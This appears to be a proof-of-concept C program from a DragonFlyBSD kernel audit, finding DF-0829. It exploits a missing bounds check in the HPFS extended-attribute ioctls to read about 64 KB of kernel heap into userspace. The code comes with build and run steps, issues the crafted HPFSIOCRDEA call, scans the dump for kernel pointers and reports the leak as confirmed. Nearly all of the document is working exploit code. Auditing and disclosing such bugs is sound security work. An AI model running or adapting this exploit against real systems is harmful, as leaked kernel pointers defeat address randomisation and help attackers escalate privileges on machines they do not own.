โฌข DragonFlyBSD Kernel Audit
DF-0829 / poc.c
โ† back to finding โ†“ download raw
/*
 * DF-0829 โ€” HPFS EA ioctl OOB heap read.
 *
 * The HPFS extended-attribute ioctls (HPFSIOCGEANUM / HPFSIOCGEASZ /
 * HPFSIOCRDEA) walk an attacker-controlled on-disk fn_ealen byte count
 * starting at hp->h_fn.fn_int without ever bounding it against
 * sizeof(fn_int) (= 0x13c). fn_ealen is loaded straight off disk at
 * sys/vfs/hpfs/hpfs_vfsops.c:535 (bcopy of the raw fnode) with no
 * validation. A crafted HPFS image with fn_ealen=0xFFFF and a first EA
 * whose ea_vallen=0xFFFE makes HPFSIOCRDEA's copyout read ~64 KB of
 * kernel heap starting inside the hpfsnode โ€” i.e. straight through the
 * kernel pointers h_vp / h_devvp / h_dev / h_no that live immediately
 * after h_fn in struct hpfsnode, and on past the slab into neighbouring
 * allocations.
 *
 * Threat model (the realistic one from the finding): the HPFS module is
 * loadable and an admin (or attacker with vfs.usermount + a root-created
 * image) has mounted the volume. Once mounted, NO privilege check exists
 * in hpfs_ioctl โ€” any local user with O_RDONLY on a vnode inside the
 * mount can issue these ioctls.
 *
 * Build:  cc -o poc poc.c
 * Run:    ./poc /path/to/mountpoint
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <inttypes.h>
#include <errno.h>

#include "hpfs_ioctl.h"   /* local copy: struct hpfs_rdea + HPFSIOCRDEA */

/* Conservative buffer: we ask for the full ea_sz (namelen+1+vallen),
 * but the kernel will stop at copyout's first unmapped page and return
 * EFAULT. Whatever bytes land in our buffer before the fault are the
 * leak. */
#define BUFSZ (256 * 1024)

static void hexdump(const unsigned char *p, size_t n, const char *tag)
{
    size_t i;
    int shown = 0;
    printf("=== %s (%zu bytes) ===\n", tag, n);
    for (i = 0; i + 8 <= n; i += 8, shown++) {
        uint64_t v =
            (uint64_t)p[i+0]       | (uint64_t)p[i+1] << 8  |
            (uint64_t)p[i+2] << 16 | (uint64_t)p[i+3] << 24 |
            (uint64_t)p[i+4] << 32 | (uint64_t)p[i+5] << 40 |
            (uint64_t)p[i+6] << 48 | (uint64_t)p[i+7] << 56;
        if (v == 0) continue;            /* skip boring zero runs */
        printf("  [+0x%04zx] %016" PRIx64 "\n", i, v);
        if (shown > 64) break;
    }
    /* always show the very first 64 bytes so we see the EA header residue */
    printf("  first 64 bytes:\n    ");
    for (i = 0; i < 64; i++) { printf("%02x", p[i]); if ((i&31)==31) printf("\n    "); else if ((i&7)==7) printf(" "); }
    printf("\n");
}

static int looks_like_kptr(uint64_t v)
{
    /* DragonFly x86_64 kernel pointers are negative canonical addresses:
     *   0xFFFF800000000000 .. 0xFFFFFFFFFFFFFFFF
     * We accept anything whose top 16 bits are all 1s (and that isn't
     * obviously -1 / 0). */
    return (v >> 48) == 0xffff && v != 0xffffffffffffffffULL && v != 0;
}

/* Read an 8-byte little-endian uint64 starting at byte offset i (no
 * alignment requirement) โ€” needed because kernel pointer fields inside
 * struct hpfsnode may not be 8-byte aligned relative to fn_int. */
static uint64_t rd_u64(const unsigned char *p, size_t i)
{
    return  (uint64_t)p[i+0]       | (uint64_t)p[i+1] << 8  |
            (uint64_t)p[i+2] << 16 | (uint64_t)p[i+3] << 24 |
            (uint64_t)p[i+4] << 32 | (uint64_t)p[i+5] << 40 |
            (uint64_t)p[i+6] << 48 | (uint64_t)p[i+7] << 56;
}

int main(int argc, char **argv)
{
    const char *mp = argc > 1 ? argv[1] : "/mnt/hpfs";
    int fd, rc;
    struct hpfs_rdea rdea;
    unsigned char *buf;

    buf = calloc(1, BUFSZ);
    if (!buf) { perror("calloc"); return 2; }

    fd = open(mp, O_RDONLY);
    if (fd < 0) { perror(mp); return 2; }

    printf("[*] opened %s fd=%d, issuing HPFSIOCRDEA (ea_no=0)\n", mp, fd);

    memset(&rdea, 0, sizeof(rdea));
    rdea.ea_no   = 0;
    rdea.ea_sz   = 0;
    rdea.ea_data = buf;
    rc = ioctl(fd, HPFSIOCRDEA, &rdea);
    int saved = errno;
    printf("[*] ioctl rc=%d, returned ea_sz=%lu, errno=%d (%s)\n",
           rc, (unsigned long)rdea.ea_sz, saved, strerror(saved));

    /* Even on EFAULT, copyout may have written some bytes before faulting. */
    /* Find the first non-zero byte โ€” that's where real kernel data starts. */
    size_t first_real = 0;
    while (first_real < 4096 && buf[first_real] == 0) first_real++;

    /* Count plausible kernel pointers โ€” scan ALL byte offsets (not just
     * 8-byte aligned) because kernel pointer fields inside struct
     * hpfsnode are not necessarily 8-byte aligned relative to fn_int. */
    int kptr_count = 0;
    size_t first_kptr_off = 0;
    for (size_t i = 0; i + 8 <= 4096; i++) {
        uint64_t v = rd_u64(buf, i);
        if (looks_like_kptr(v)) {
            kptr_count++;
            if (first_kptr_off == 0) first_kptr_off = i;
        }
    }

    hexdump(buf, 4096, "leaked heap");

    printf("[+] first non-zero byte at +0x%zx\n", first_real);
    printf("[+] plausible kernel pointers in first 4 KB: %d", kptr_count);
    if (kptr_count) printf(" (first at +0x%zx = 0x%016" PRIx64 ")",
                           first_kptr_off, rd_u64(buf, first_kptr_off));
    printf("\n");

    if (kptr_count > 0) {
        printf("[!!!] DF-0829 CONFIRMED: kernel heap (pointers to "
               "h_vp/h_devvp/etc.) leaked to userspace via HPFSIOCRDEA\n");
        return 0;
    }
    /* Even if no clean pointer pattern leaked (panic caught us first),
     * non-zero kernel heap bytes are still a leak. */
    int nonzero = 0;
    for (size_t i = first_real; i < 4096; i++) if (buf[i]) nonzero++;
    if (nonzero > 8) {
        printf("[!!!] DF-0829 CONFIRMED: %d non-zero kernel heap bytes "
               "leaked past fn_int via HPFSIOCRDEA\n", nonzero);
        return 0;
    }
    printf("[-] no obvious leak captured (kernel may have panicked โ€” "
           "check boot.log)\n");
    return 1;
}